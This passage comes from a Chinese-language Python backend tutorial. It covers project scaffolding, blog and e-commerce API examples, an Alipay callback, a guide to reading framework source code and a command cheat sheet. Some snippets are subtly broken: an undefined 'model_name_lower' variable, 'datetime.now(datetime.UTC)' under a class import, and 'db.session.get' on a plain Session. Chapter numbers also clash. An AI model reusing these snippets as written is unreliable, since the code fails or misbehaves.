│   ├── Dockerfile
│   ├── docker-compose.yml
│   ├── pyproject.toml
│   ├── .github/workflows/ci.yml
│   └── README.md
└── cookiecutter.json

# cookiecutter.json — 定义变量
{
    "project_name": "my-project",
    "project_slug": "{{ cookiecutter.project_name | lower | replace(' ', '-') }}",
    "description": "A FastAPI project",
    "author_name": "Your Name",
    "version": "0.1.0",
    "python_version": "3.12",
    "database": ["postgresql", "mysql", "sqlite"],
    "use_redis": ["yes", "no"],
    "use_celery": ["yes", "no"]
}

# 模板中使用变量
# main.py
from app.config import settings
# {{ cookiecutter.project_name }} v{{ cookiecutter.version }}

# 生成项目
cookiecutter ./my-fastapi-template

CRUD 代码生成器

# 用 Jinja2 模板生成 CRUD 代码
# code_generator.py
from jinja2 import Environment, FileSystemLoader
import os

env = Environment(loader=FileSystemLoader('templates'))

def generate_crud(model_name: str, fields: list):
    """根据模型名和字段生成完整的 CRUD 代码"""
    context = {
        'model_name': model_name,
        'model_name_lower': model_name.lower(),
        'fields': fields,
    }

    # 生成 Model
    template = env.get_template('model.py.j2')
    with open(f'app/models/{model_name_lower}.py', 'w') as f:
        f.write(template.render(**context))

    # 生成 Schema
    template = env.get_template('schema.py.j2')
    with open(f'app/schemas/{model_name_lower}.py', 'w') as f:
        f.write(template.render(**context))

    # 生成 API 路由
    template = env.get_template('api.py.j2')
    with open(f'app/api/{model_name_lower}.py', 'w') as f:
        f.write(template.render(**context))

    # 生成测试
    template = env.get_template('test.py.j2')
    with open(f'tests/test_{model_name_lower}.py', 'w') as f:
        f.write(template.render(**context))

# 使用
generate_crud('Article', [
    {'name': 'title', 'type': 'str', 'required': True},
    {'name': 'content', 'type': 'str'},
    {'name': 'status', 'type': 'str', 'default': "'draft'"},
])

推荐的项目模板

模板框架特点
tiangolo/full-stack-fastapi-templateFastAPI生产级,含 Docker、CI/CD、PostgreSQL
cookiecutter-djangoDjango最成熟的 Django 模板,多种配置选项
cookiecutter-flaskFlask轻量级 Flask 模板
fastapi-templateFastAPI简洁实用,适合学习
减少重复劳动

把常用的项目模板、部署脚本、CI/CD 配置封装成 Cookiecutter 模板。新项目一键生成,团队统一规范。每次改进模板,所有新项目都受益。

FastAPI 内置脚手架

fastapi new myproject(需要 pip install fastapi-cli)。Django:django-admin startproject mysite。Flask:flask cli。这些内置脚手架适合快速开始,复杂项目用 Cookiecutter 模板。

80. 实战:博客系统

理论学完了,动手做一个完整的博客系统——从需求分析到部署上线。

功能清单

1
用户模块——注册、登录(JWT)、个人信息、头像上传。
2
文章模块——创建、编辑、删除、列表、详情、搜索、分类、标签。
3
评论模块——发表评论、回复评论、评论列表。
4
部署——Docker 打包、Nginx 配置、HTTPS、域名。
# 数据库设计
# users: id, username, email, password_hash, avatar, created_at
# articles: id, title, content, slug, status, author_id, category_id, views, created_at
# categories: id, name, slug
# tags: id, name
# article_tags: article_id, tag_id
# comments: id, content, article_id, user_id, parent_id, created_at

# API 设计
POST   /api/v1/auth/register     — 注册
POST   /api/v1/auth/login        — 登录
GET    /api/v1/articles          — 文章列表(分页、搜索、过滤)
POST   /api/v1/articles          — 创建文章
GET    /api/v1/articles/{slug}   — 文章详情
PUT    /api/v1/articles/{id}     — 编辑文章
DELETE /api/v1/articles/{id}     — 删除文章
POST   /api/v1/articles/{id}/comments  — 发表评论

核心代码实现

# app/models.py — 数据模型
from sqlalchemy import Column, Integer, String, Text, DateTime, ForeignKey, Table
from sqlalchemy.orm import relationship
from datetime import datetime

article_tags = Table('article_tags', Base.metadata,
    Column('article_id', Integer, ForeignKey('articles.id')),
    Column('tag_id', Integer, ForeignKey('tags.id')),
)

class User(Base):
    __tablename__ = 'users'
    id = Column(Integer, primary_key=True)
    username = Column(String(50), unique=True, nullable=False)
    email = Column(String(100), unique=True, nullable=False)
    password_hash = Column(String(128), nullable=False)
    avatar = Column(String(500))
    created_at = Column(DateTime, default=lambda: datetime.now(datetime.UTC))
    articles = relationship('Article', back_populates='author')

class Article(Base):
    __tablename__ = 'articles'
    id = Column(Integer, primary_key=True)
    title = Column(String(200), nullable=False)
    slug = Column(String(200), unique=True)
    content = Column(Text)
    status = Column(String(20), default='draft')  # draft/published
    views = Column(Integer, default=0)
    author_id = Column(Integer, ForeignKey('users.id'))
    category_id = Column(Integer, ForeignKey('categories.id'))
    created_at = Column(DateTime, default=lambda: datetime.now(datetime.UTC))
    updated_at = Column(DateTime, onupdate=lambda: datetime.now(datetime.UTC))
    author = relationship('User', back_populates='articles')
    category = relationship('Category', back_populates='articles')
    tags = relationship('Tag', secondary=article_tags, back_populates='articles')
    comments = relationship('Comment', back_populates='article')

class Category(Base):
    __tablename__ = 'categories'
    id = Column(Integer, primary_key=True)
    name = Column(String(50), unique=True)
    slug = Column(String(50), unique=True)
    articles = relationship('Article', back_populates='category')

class Tag(Base):
    __tablename__ = 'tags'
    id = Column(Integer, primary_key=True)
    name = Column(String(50), unique=True)
    articles = relationship('Article', secondary=article_tags, back_populates='tags')

class Comment(Base):
    __tablename__ = 'comments'
    id = Column(Integer, primary_key=True)
    content = Column(Text, nullable=False)
    article_id = Column(Integer, ForeignKey('articles.id'))
    user_id = Column(Integer, ForeignKey('users.id'))
    parent_id = Column(Integer, ForeignKey('comments.id'), nullable=True)
    created_at = Column(DateTime, default=lambda: datetime.now(datetime.UTC))
    article = relationship('Article', back_populates='comments')
# app/api/articles.py — 文章 API
from fastapi import APIRouter, Depends, HTTPException, Query
from sqlalchemy.orm import Session

router = APIRouter(prefix="/api/v1/articles", tags=["文章"])

@router.get("", summary="文章列表")
def list_articles(
    page: int = Query(1, ge=1),
    size: int = Query(20, ge=1, le=100),
    category: str = None,
    tag: str = None,
    search: str = None,
    db: Session = Depends(get_db),
):
    query = db.query(Article).filter(Article.status == 'published')

    if category:
        query = query.join(Category).filter(Category.slug == category)
    if tag:
        query = query.join(Article.tags).filter(Tag.name == tag)
    if search:
        query = query.filter(Article.title.contains(search))

    total = query.count()
    articles = query.order_by(Article.created_at.desc()) \
        .offset((page - 1) * size).limit(size).all()

    return {
        "code": 0,
        "data": {
            "items": [ArticleOut.model_validate(a) for a in articles],
            "total": total, "page": page, "size": size,
        }
    }

@router.get("/{slug}", summary="文章详情")
def get_article(slug: str, db: Session = Depends(get_db)):
    article = db.query(Article).filter(Article.slug == slug).first()
    if not article:
        raise HTTPException(404, "文章不存在")
    article.views += 1
    db.commit()
    return {"code": 0, "data": ArticleOut.model_validate(article)}

@router.post("", status_code=201, summary="创建文章")
def create_article(
    data: ArticleCreate,
    db: Session = Depends(get_db),
    user = Depends(get_current_user),
):
    article = Article(**data.model_dump(), author_id=user.id)
    article.slug = generate_slug(data.title)
    db.add(article)
    db.commit()
    return {"code": 0, "data": ArticleOut.model_validate(article)}
# app/api/auth.py — 认证 API
from passlib.context import CryptContext
from jose import jwt

pwd_context = CryptContext(schemes=["bcrypt"])

@router.post("/register", status_code=201)
def register(data: UserCreate, db: Session = Depends(get_db)):
    if db.query(User).filter(User.email == data.email).first():
        raise HTTPException(400, "邮箱已注册")
    user = User(
        username=data.username,
        email=data.email,
        password_hash=pwd_context.hash(data.password),
    )
    db.add(user)
    db.commit()
    # 异步发送验证邮件
    send_verification_email.delay(user.email, user.username)
    return {"code": 0, "message": "注册成功,请查收验证邮件"}

@router.post("/login")
def login(data: UserLogin, db: Session = Depends(get_db)):
    user = db.query(User).filter(User.email == data.email).first()
    if not user or not pwd_context.verify(data.password, user.password_hash):
        raise HTTPException(401, "邮箱或密码错误")
    token = jwt.encode({"sub": user.id}, SECRET_KEY, algorithm="HS256")
    return {"code": 0, "data": {"token": token}}
# app/api/comments.py — 评论 API
@router.post("/articles/{article_id}/comments", status_code=201)
def create_comment(
    article_id: int,
    data: CommentCreate,
    db: Session = Depends(get_db),
    user = Depends(get_current_user),
):
    article = db.session.get(Article, article_id)
    if not article:
        raise HTTPException(404, "文章不存在")
    comment = Comment(
        content=data.content,
        article_id=article_id,
        user_id=user.id,
        parent_id=data.parent_id,
    )
    db.add(comment)
    db.commit()
    return {"code": 0, "data": CommentOut.model_validate(comment)}
学习建议

不要只看代码——自己动手写一遍。遇到问题先 Google,再看文档,最后问 AI。完成这个项目后,你就具备了独立开发后端 API 的能力。推荐顺序:① 先搭项目结构。② 实现用户认证。③ 实现文章 CRUD。④ 实现评论系统。⑤ 加缓存和搜索。⑥ Docker 部署。

项目扩展方向

① 添加全文搜索(Elasticsearch)。② 添加 Redis 缓存(热门文章)。③ 添加 Celery 异步任务(邮件通知)。④ 添加 Rate Limiting(防刷)。⑤ 添加 WebSocket(实时评论通知)。⑥ 部署到云服务器。

81. 实战:电商后端 API

电商系统是后端开发的"综合考试"——涵盖认证、权限、事务、缓存、队列、支付等所有核心能力。

核心模块

用户系统
注册、登录、地址管理、收藏夹——JWT 认证 + RBAC 权限。
商品系统
商品 CRUD、分类、SKU、库存管理——ES 搜索 + Redis 缓存。
订单系统
下单、支付、发货、退款——数据库事务 + 状态机。
支付系统
对接支付宝/微信支付——异步回调 + 幂等性。
# 订单创建(关键代码)
@app.post("/api/v1/orders")
def create_order(
    order_in: OrderCreate,
    db: Session = Depends(get_db),
    user = Depends(get_current_user),
):
    # 1. 检查库存(Redis 缓存)
    for item in order_in.items:
        stock = redis.get(f"stock:{item.product_id}")
        if int(stock) < item.quantity:
            raise BusinessError(40001, f"商品 {item.product_id} 库存不足")

    # 2. 扣减库存(数据库事务)
    try:
        for item in order_in.items:
            product = db.session.get(Product, item.product_id, with_for_update=True)
            if product.stock < item.quantity:
                raise BusinessError(40001, "库存不足")
            product.stock -= item.quantity

        # 3. 创建订单
        order = Order(user_id=user.id, total=calculate_total(order_in.items))
        db.add(order)
        db.commit()
    except Exception:
        db.rollback()
        raise

    # 4. 发送延迟消息(30分钟未支付自动取消)
    cancel_order.apply_async(args=[order.id], countdown=1800)

    return {"order_id": order.id}

商品系统

# 商品模型
class Product(Base):
    __tablename__ = 'products'
    id = Column(Integer, primary_key=True)
    name = Column(String(200), nullable=False)
    description = Column(Text)
    price = Column(Numeric(10, 2), nullable=False)
    stock = Column(Integer, default=0)
    category_id = Column(Integer, ForeignKey('categories.id'))
    images = Column(JSON)                        # 图片列表
    status = Column(String(20), default='active')
    created_at = Column(DateTime, default=lambda: datetime.now(datetime.UTC))

class SKU(Base):
    __tablename__ = 'skus'
    id = Column(Integer, primary_key=True)
    product_id = Column(Integer, ForeignKey('products.id'))
    sku_code = Column(String(50), unique=True)   # SKU 编码
    attributes = Column(JSON)                    # {"颜色": "红色", "尺寸": "XL"}
    price = Column(Numeric(10, 2))
    stock = Column(Integer, default=0)

# 商品 API
@router.get("/products")
def list_products(
    category_id: int = None,
    min_price: float = None,
    max_price: float = None,
    sort: str = "created_at",
    page: int = 1,
    size: int = 20,
    db: Session = Depends(get_db),
):
    query = db.query(Product).filter(Product.status == 'active')
    if category_id:
        query = query.filter(Product.category_id == category_id)
    if min_price:
        query = query.filter(Product.price >= min_price)
    if max_price:
        query = query.filter(Product.price <= max_price)
    # 排序
    sort_map = {
        'price_asc': Product.price.asc(),
        'price_desc': Product.price.desc(),
        'sales': Product.sales.desc(),
        'created_at': Product.created_at.desc(),
    }
    query = query.order_by(sort_map.get(sort, Product.created_at.desc()))
    total = query.count()
    products = query.offset((page-1)*size).limit(size).all()
    return {"code": 0, "data": {"items": products, "total": total}}

购物车

# 购物车——用 Redis 存储
class CartService:
    def __init__(self, redis_client):
        self.redis = redis_client

    def add_item(self, user_id: int, product_id: int, quantity: int):
        key = f"cart:{user_id}"
        # 检查商品是否存在
        product = db.session.get(Product, product_id)
        if not product or product.status != 'active':
            raise BusinessError("商品不存在")
        if product.stock < quantity:
            raise BusinessError("库存不足")

        # 添加到购物车(Redis Hash)
        self.redis.hincrby(key, str(product_id), quantity)
        self.redis.expire(key, 86400 * 7)       # 7 天过期

    def get_cart(self, user_id: int) -> list:
        key = f"cart:{user_id}"
        items = self.redis.hgetall(key)
        result = []
        for product_id, quantity in items.items():
            product = db.session.get(Product, int(product_id))
            if product:
                result.append({
                    "product_id": product.id,
                    "name": product.name,
                    "price": float(product.price),
                    "quantity": int(quantity),
                    "subtotal": float(product.price) * int(quantity),
                })
        return result

    def update_quantity(self, user_id: int, product_id: int, quantity: int):
        key = f"cart:{user_id}"
        if quantity <= 0:
            self.redis.hdel(key, str(product_id))
        else:
            self.redis.hset(key, str(product_id), quantity)

    def clear(self, user_id: int):
        self.redis.delete(f"cart:{user_id}")

支付对接

# 支付宝支付(简化示例)
from alipay.aop.api.domain.AlipayTradePagePayModel import AlipayTradePagePayModel
from alipay.aop.api.DefaultAlipayClient import DefaultAlipayClient
from alipay.aop.api.request.AlipayTradePagePayRequest import AlipayTradePagePayRequest

def create_alipay_order(order_id: str, amount: float, subject: str) -> str:
    """创建支付宝订单,返回支付链接"""
    model = AlipayTradePagePayModel()
    model.out_trade_no = order_id
    model.total_amount = str(amount)
    model.subject = subject
    model.product_code = "FAST_INSTANT_TRADE_PAY"

    request = AlipayTradePagePayRequest()
    request.set_biz_model(model)
    request.return_url = "https://example.com/api/payment/callback"
    request.notify_url = "https://example.com/api/payment/notify"

    response = alipay_client.page_execute(request, http_method="GET")
    return response

# 支付回调(异步通知)
@router.post("/api/payment/notify")
async def payment_notify(request: Request):
    data = await request.form()
    # 验证签名
    if not alipay_client.verify_notify(data):
        return "fail"

    order_id = data.get("out_trade_no")
    trade_status = data.get("trade_status")

    if trade_status == "TRADE_SUCCESS":
        order = db.session.get(Order, order_id)
        if order and order.status == 'pending':
            order.status = 'paid'
            order.paid_at = datetime.now(datetime.UTC)
            db.commit()
            # 发送订单确认邮件
            send_order_confirmation.delay(order_id)

    return "success"
库存扣减的坑

不能先查库存再扣减——并发时可能超卖。必须用 SELECT ... FOR UPDATE 加行锁,或者用 Redis 原子操作(DECR)扣减。支付回调必须幂等——同一笔支付可能回调多次。订单超时未支付要自动取消(延迟队列)。

电商系统核心难点

① 库存扣减(防超卖)。② 支付对接(异步回调 + 幂等)。③ 订单状态机(待支付→已支付→已发货→已完成→已取消)。④ 优惠计算(满减、折扣、优惠券)。⑤ 物流对接(快递100、菜鸟)。⑥ 高并发秒杀(Redis + 消息队列)。

项目学习路径

① 用户系统(注册、登录、JWT)。② 商品系统(CRUD、分类、搜索)。③ 购物车(Redis)。④ 订单系统(创建、支付、状态流转)。⑤ 支付对接(支付宝/微信支付)。⑥ 后台管理(Django Admin)。⑦ 性能优化(缓存、异步)。⑧ 部署上线(Docker + Nginx)。

82. 优秀开源项目源码解读

读源码是提升编程能力最快的方式——看看顶尖工程师是怎么写代码的。

推荐阅读顺序

1
FastAPI 官方示例——代码简洁、注释丰富。从 fastapi/examples 开始。
2
Flask 源码——只有 5000 行代码,是理解 Web 框架原理的最佳教材。
3
Django REST Framework——学习 Serializer、ViewSet、Router 的设计模式。
4
知名脚手架——tiangolo/full-stack-fastapi-template,学习生产级项目结构。

源码阅读指南

项目代码量学习重点难度
FastAPI Examples~2000 行路由、依赖注入、中间件⭐
Flask~5000 行WSGI、路由、模板引擎⭐⭐
Requests~4000 行HTTP 客户端、Session⭐⭐
Django REST Framework~30000 行序列化、ViewSet、权限⭐⭐⭐
Django~300000 行ORM、中间件、Admin⭐⭐⭐⭐

Flask 源码精读

# Flask 源码结构(只有 ~5000 行,适合精读)
flask/
├── __init__.py          # 入口,导出核心 API
├── app.py               # Flask 应用类(核心)
├── wrappers.py          # Request/Response 封装
├── ctx.py               # 请求上下文、应用上下文
├── blueprints.py        # 蓝图系统
├── routing.py           # 路由匹配
├── templating.py        # Jinja2 模板集成
├── sessions.py          # Session 实现
├── signals.py           # 信号(事件系统)
└── cli.py               # CLI 命令

# 阅读路线:
# 1. app.py → Flask 类 → __call__ 方法(WSGI 入口)
# 2. ctx.py → 请求上下文如何创建和销毁
# 3. routing.py → URL 如何匹配到视图函数
# 4. wrappers.py → Request/Response 对象封装
# 5. blueprints.py → 蓝图如何组织路由

# 核心代码片段(简化版 Flask)
class Flask:
    def __init__(self):
        self.url_map = {}                        # 路由表
        self.before_request_funcs = []           # 前置钩子

    def route(self, rule, **options):
        def decorator(f):
            self.url_map[rule] = f
            return f
        return decorator

    def __call__(self, environ, start_response):
        """WSGI 入口"""
        request = Request(environ)
        response = self.dispatch_request(request)
        return response(environ, start_response)

FastAPI 设计模式学习

# FastAPI 的核心设计模式

# 1. 依赖注入(最核心的设计)
# 看 fastapi/dependencies/models.py
# 理解 Depends 如何解析和注入依赖

# 2. 路由注册
# 看 fastapi/routing.py
# @app.get("/users") 如何注册路由

# 3. 请求验证
# 看 fastapi/_compat.py
# Pydantic 模型如何自动验证请求参数

# 4. 响应处理
# 看 fastapi/responses.py
# 返回值如何自动序列化为 JSON

# 5. 中间件
# 看 fastapi/middleware/
# Starlette 中间件如何工作

# 阅读路线:
# 1. fastapi/app.py → FastAPI 类 → include_router
# 2. fastapi/routing.py → APIRouter → add_api_route
# 3. fastapi/dependencies/ → Depends 实现
# 4. fastapi/_compat.py → Pydantic 集成

DRF 设计模式学习

# Django REST Framework 源码结构
rest_framework/
├── serializers.py       # 序列化器(最常用)
├── viewsets.py          # ViewSet(最核心)
├── routers.py           # URL 路由器
├── permissions.py       # 权限系统
├── pagination.py        # 分页
├── throttling.py        # 限流
├── authentication.py    # 认证
└── generics.py          # 通用视图

# 阅读路线:
# 1. serializers.py → ModelSerializer 如何自动映射字段
# 2. viewsets.py → ViewSet 如何聚合 CRUD 操作
# 3. routers.py → Router 如何自动生成 URL
# 4. generics.py → GenericAPIView 如何组合混入类

# 核心设计模式:Mixin 模式
class ListModelMixin:
    def list(self, request):
        queryset = self.get_queryset()
        serializer = self.get_serializer(queryset, many=True)
        return Response(serializer.data)

class ListCreateAPIView(ListModelMixin, CreateModelMixin, GenericAPIView):
    """组合多个 Mixin"""
    pass
读源码的方法

① 先看 README 了解项目定位。② 从入口文件开始(main.py / __init__.py)。③ 跟着请求的生命周期走(路由 → 中间件 → 视图 → 响应)。④ 不要试图理解每一行代码——抓住主干。⑤ 用 IDE 的"跳转到定义"功能。⑥ 画类图和调用链。⑦ 读测试代码(比文档更准确)。

学习资源

① FastAPI 文档(fastapi.tiangolo.com)——最好的 Python 框架文档。② Django 文档(docs.djangoproject.com)——最全面。③ Flask 官方教程(flask.palletsprojects.com)——最经典。④ Real Python(realpython.com)——高质量教程。⑤ Full Stack Python(fullstackpython.com)——全栈知识图谱。⑥ Python Frameworks 对比(frameworkbenchmarks.org)——性能对比。

源码阅读建议

① 从小项目开始(FastAPI Examples → Flask → DRF)。② 不要贪多——精读一个比泛读十个有用。③ 自己动手实现一个简化版(学到的才是自己的)。④ 写源码阅读笔记(加深理解)。⑤ 参与开源贡献(修 bug、写文档、提 PR)。

83. 速查表与技术选型指南

最后一章,把全书的核心知识浓缩成速查表。遇到选择困难时翻到这里。

框架选型

需求推荐原因
快速开发全栈Django内置 ORM、Admin、认证
纯 API 服务FastAPI自动文档、类型安全、高性能
学习原理 / 小项目Flask极简、灵活、学习成本低
AI 应用后端FastAPI异步、高性能、Python 生态

数据库选型

需求推荐原因
结构化数据PostgreSQL功能最全、JSON 支持好
简单项目 / 读多写少MySQL流行、资料多
缓存 / SessionRedis极快、数据结构丰富
非结构化数据MongoDB灵活 Schema、文档模型
全文搜索Elasticsearch专业搜索引擎

部署方案

规模推荐架构
个人项目单机Nginx + Gunicorn + SQLite
小型项目单机 DockerDocker Compose(Web + DB + Redis)
中型项目多机Nginx + 多台 Gunicorn + 主从 DB
大型项目KubernetesK8s + 微服务 + 分布式 DB

常见面试题

基础
HTTP 状态码、RESTful、WSGI、装饰器、生成器——第 1-7 章内容。
数据库
索引原理、事务、N+1 问题、分库分表——第 24-31 章内容。
架构
缓存策略、消息队列、微服务、CAP 理论——第 38、64、66、67 章内容。
实战
设计一个短链服务 / 电商系统 / 秒杀系统——综合运用全书知识。
恭喜你读完了!

这本教程覆盖了 Python Web 后端开发从入门到架构的完整知识体系。但真正的学习从写代码开始——打开编辑器,从第 75 章的博客系统开始动手吧。记住:10% 的知识来自阅读,90% 来自实践。

常用命令速查

# Python 环境
python -m venv venv && source venv/bin/activate  # 创建虚拟环境
pip install -r requirements.txt                   # 安装依赖
pip freeze > requirements.txt                     # 导出依赖

# FastAPI
uvicorn app.main:app --reload --port 8000         # 启动开发服务器
uvicorn app.main:app --host 0.0.0.0 --workers 4   # 启动生产服务器

# Django
django-admin startproject mysite                  # 创建项目
python manage.py runserver                        # 启动开发服务器
python manage.py makemigrations                   # 创建迁移
python manage.py migrate                          # 执行迁移
python manage.py createsuperuser                  # 创建管理员

# Flask
flask run                                         # 启动开发服务器
flask db migrate -m "message"                     # 创建迁移
flask db upgrade                                  # 执行迁移

# 数据库
psql -U postgres -d mydb                          # 连接 PostgreSQL
mysql -u root -p mydb                             # 连接 MySQL
redis-cli                                         # 连接 Redis

# Docker
docker build -t myapp .                           # 构建镜像
docker-compose up -d                              # 启动服务
docker-compose down                               # 停止服务
docker logs -f container_name                     # 查看日志

# 测试
pytest                                            # 运行测试
pytest --cov=app --cov-report=html                # 测试 + 覆盖率
pytest -k "test_login"                            # 运行匹配的测试
pytest -x                                         # 第一个失败就停止

# 代码质量
ruff check .                                      # 检查代码
ruff check --fix .                                # 自动修复
ruff format .                                     # 格式化代码
pre-commit run --all-files                        # 运行所有检查

# Git
git checkout -b feature/xxx                       # 创建分支
git add . && git commit -m "message"              # 提交
git push origin feature/xxx                       # 推送
git log --oneline -10                             # 查看最近提交

常见问题排查速查

问题可能原因解决方案
502 Bad GatewayGunicorn 没启动systemctl status myapp
500 Internal Server Error代码异常查看日志 tail -f logs/error.log
数据库连接失败连接池耗尽 / 密码错误检查 DATABASE_URL 和连接数
接口响应慢N+1 查询 / 无索引EXPLAIN 分析 + 添加索引
CORS 错误未配置跨域添加 CORS 中间件
内存泄漏未关闭连接 / 全局变量用 tracemalloc 定位
Redis 连接超时Redis 挂了 / 密码错误redis-cli ping 检查
SSL 证书过期Let's Encrypt 90 天过期certbot renew
恭喜你读完了!

这本教程覆盖了 Python Web 后端开发从入门到架构的完整知识体系。但真正的学习从写代码开始——打开编辑器,从第 75 章的博客系统开始动手吧。记住:10% 的知识来自阅读,90% 来自实践。

持续学习

技术更新很快——关注 FastAPI、Django 的版本更新,学习新的工具和架构模式。推荐关注:① Python Weekly 邮件列表。② Hacker News。③ GitHub Trending。④ 技术博客(Real Python、掘金、思否)。⑤ 官方文档永远是最好的学习资源。